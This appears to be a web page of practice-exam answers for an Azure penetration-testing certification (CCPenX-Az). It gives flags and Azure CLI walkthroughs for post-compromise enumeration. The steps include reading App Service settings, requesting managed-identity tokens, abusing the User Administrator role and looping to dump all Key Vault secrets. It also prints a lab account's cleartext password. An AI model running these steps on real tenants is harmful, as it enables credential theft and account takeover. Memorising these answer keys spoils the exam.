Free The SecOps Group CCPenX-Az Practice Exam with Questions & Answers

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

================

Detailed Solution:

For Azure Resource Manager API calls, the token audience/resource must be:

https://management.azure.com/

Inside App Service Kudu/console, request the token:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

The response contains:

{

" access_token " : " < jwt-token > " ,

" resource " : " https://management.azure.com/ " ,

" token_type " : " Bearer "

}

Correct option:

B. https://management.azure.com/

================

Detailed Solution:

Log in using the credential recovered in Q4.

az login -u sumit.siddharth@azuresecops.onmicrosoft.com -p ' < recovered-password > '

Confirm the current signed-in user:

az ad signed-in-user show --output json

Now enumerate the user’s Microsoft Entra ID role memberships through Microsoft Graph.

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--output json

To display only role names:

az rest --method GET \

--url " https://graph.microsoft.com/v1.0/me/memberOf " \

--query " value[].displayName " \

--output table

The relevant role is:

User Administrator

This role is dangerous because it can manage users and reset passwords for many non-privileged users. That is exactly why the next task asks you to abuse directory-level privileges to compromise another user.

Final Answer:

B. User Administrator

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

Detailed Solution:

Log in using the supplied breached Azure account.

az login -u alex.johnson@azuresecops.onmicrosoft.com -p ' pg:Lr{k102l(fh7! '

After successful authentication, check the active Azure subscription context.

az account show

The important fields are:

{

" id " : " 7403ec86-c39d-4d80-9efa-35c7580ecefa " ,

" name " : " Azure subscription 1 " ,

" tenantDefaultDomain " : " azuresecops.onmicrosoft.com " ,

" tenantDisplayName " : " ExcaliburCorp " ,

" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b "

}

The AAD / Microsoft Entra tenant ID is the tenantId.

Final Answer:

f015f36d-c07f-41fb-9bde-fffc3a22ee8b

================

Use az login --service-principal

Detailed Solution:

Command:

az login --service-principal \

-u c5fba7db-5e61-45bc-8944-3cd457bb19c2 \

-p ' < client-secret > ' \

--tenant 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a

Verify:

az account show --output json

Expected important field:

{

" user " : {

" name " : " c5fba7db-5e61-45bc-8944-3cd457bb19c2 " ,

" type " : " servicePrincipal "

}

}

This confirms you are authenticated as the App Registration/service principal.

================